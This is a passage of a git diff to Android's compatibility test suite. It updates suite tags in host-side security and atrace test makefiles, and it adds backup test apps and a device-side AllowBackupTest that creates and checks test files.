diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
new file mode 100644
index 0000000..cac6790
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.usepermission">
+
+ <!-- Request two different permissions within the same group -->
+ <uses-permission android:name="android.permission.SEND_SMS" />
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+ <application>
+ <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index bda6782..498e8ca 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -22,12 +22,12 @@
../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/GrantUriPermission.java
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsPermissionDeclareApp
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
index 581af78..2d67d62 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsUsesLibraryApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
index e73f47c..b9dc639 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -77,11 +77,19 @@
Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
assertTrue(dexElements != null && dexElements.length > 1);
+ // First dex file is either the shared library or the cts instrumentation library.
DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
String libPath = libDexFile.getName();
- DexFile apkDexFile = getDexFileFromDexElement(dexElements[1]);
+ // The last dex file should be the test apk file: com.android.cts.useslibrary.
+ DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
String apkPath = apkDexFile.getName();
+
+ // In order to ensure the collision check is executed we use the apkDexFile when
+ // constructing the test class path for duplicates.
+ // We do not use the shared libraries apks because they are compiled with a special
+ // marker which may skip the collision check (b/37777332).
String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
+
PathClassLoader testLoader = new PathClassLoader(testPath, null);
Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
assertTrue(testDexElements != null && testDexElements.length == 3);
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index 61d2493..8574d63 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -18,16 +18,16 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
-#ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
-LOCAL_JAVA_RESOURCE_DIRS := $(LOCAL_PATH)/res
-
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsWriteExternalStorageApp
diff --git a/hostsidetests/appsecurity/test-apps/keysets/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
index 7f116be..397b49a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
index 30384d0..46a6b37 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
index da45804..9018fdb 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
index eea2e11..98a31b9 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
index cefe00f..5cf21b4 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
@@ -24,7 +24,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -38,6 +38,6 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
index f031e4b..10c4101 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
@@ -25,7 +25,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -40,6 +40,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index d1eeffa..907ae36 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -17,12 +17,12 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsKeySetTestApp
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
index 22c45a7..d47f6bc 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
@@ -23,7 +23,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -36,7 +36,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -49,7 +49,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-ec-a
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -63,6 +63,6 @@
LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
index 340e8c7..87655dd 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
index 6389bf6..764886a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
index 1e888ae..d0960c4 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
@@ -25,7 +25,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -40,7 +40,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -56,6 +56,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
index 87a7ff8..c6cec13 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
@@ -25,7 +25,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -40,6 +40,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
index 42f700e..e7de019 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
index 69d27ed..d54a59b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 15981f6..4822a11 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index c4a0913..59d5e56 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -21,12 +21,12 @@
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsAtraceHostTestCases
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
LOCAL_CTS_TEST_PACKAGE := android.host.atrace
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index 9218e56..4b550db 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -31,6 +31,6 @@
#LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index 25c0b89..802affb 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -24,6 +24,8 @@
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.Reader;
@@ -154,6 +156,7 @@
/**
* Tests that atrace exists and is runnable with no args
*/
+ @CddTest(requirement="6.1/C-0-9")
public void testSimpleRun() throws Exception {
String output = getDevice().executeShellCommand("atrace");
String[] lines = output.split("\\r?\\n");
@@ -169,6 +172,7 @@
/**
* Tests the output of "atrace --list_categories" to ensure required categories exist.
*/
+ @CddTest(requirement="6.1/C-0-9")
public void testCategories() throws Exception {
String output = getDevice().executeShellCommand("atrace --list_categories");
String[] categories = output.split("\\r?\\n");
@@ -195,6 +199,7 @@
/**
* Tests that atrace captures app launch, including app level tracing
*/
+ @CddTest(requirement="6.1/C-0-9")
public void testTracingContent() throws Exception {
String atraceOutput = null;
try {
diff --git a/hostsidetests/backup/AllowBackup/Android.mk b/hostsidetests/backup/AllowBackup/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
new file mode 100644
index 0000000..aa9a22c
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := BackupAllowedApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..d4de01d
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupnotallowedapp">
+
+ <application android:label="BackupAllowedApp">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupnotallowedapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
new file mode 100644
index 0000000..c218a28
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := BackupNotAllowedApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..5fc71a1
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupnotallowedapp">
+
+ <application android:label="BackupNotAllowedApp"
+ android:allowBackup="false">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupnotallowedapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
new file mode 100644
index 0000000..643b594
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.backupnotallowedapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ *
+ */
+@RunWith(AndroidJUnit4.class)
+public class AllowBackupTest {
+ public static final String TAG = "AllowBackupCTSApp";
+ private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+ private Context mContext;
+
+ private File mDoBackupFile;
+ private File mDoBackupFile2;
+
+ @Before
+ public void setUp() {
+ mContext = getTargetContext();
+ setupFiles();
+ }
+
+ private void setupFiles() {
+ File filesDir = mContext.getFilesDir();
+ File normalFolder = new File(filesDir, "normal_folder");
+
+ mDoBackupFile = new File(filesDir, "file_to_backup");
+ mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+ }
+
+ @Test
+ public void createFiles() throws Exception {
+ // Make sure the data does not exist from before
+ deleteAllFiles();
+ assertNoFilesExist();
+
+ // Create test data
+ generateFiles();
+ assertAllFilesExist();
+
+ Log.d(TAG, "Test files created: \n"
+ + mDoBackupFile.getAbsolutePath() + "\n"
+ + mDoBackupFile2.getAbsolutePath());
+ }
+
+ @Test
+ public void checkNoFilesExist() throws Exception {
+ assertNoFilesExist();
+ }
+
+ @Test
+ public void checkAllFilesExist() throws Exception {
+ assertAllFilesExist();
+ }
+
+ private void generateFiles() {
+ try {
+ // Add data to all the files we created
+ addData(mDoBackupFile);
+ addData(mDoBackupFile2);
+ Log.d(TAG, "Files generated!");
+ } catch (IOException e) {
+ Log.e(TAG, "Unable to generate files", e);
+ }
+ }
+
+ private void deleteAllFiles() {
+ mDoBackupFile.delete();
+ mDoBackupFile2.delete();
+ Log.d(TAG, "Files deleted!");
+ }
+
+ private void addData(File file) throws IOException {
+ file.getParentFile().mkdirs();
+ byte[] bytes = new byte[FILE_SIZE_BYTES];
+ new Random().nextBytes(bytes);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+ bos.write(bytes, 0, bytes.length);
+ }
+ }
+
+ private void assertAllFilesExist() {
+ assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+ assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+ }
+
+ private void assertNoFilesExist() {
+ assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
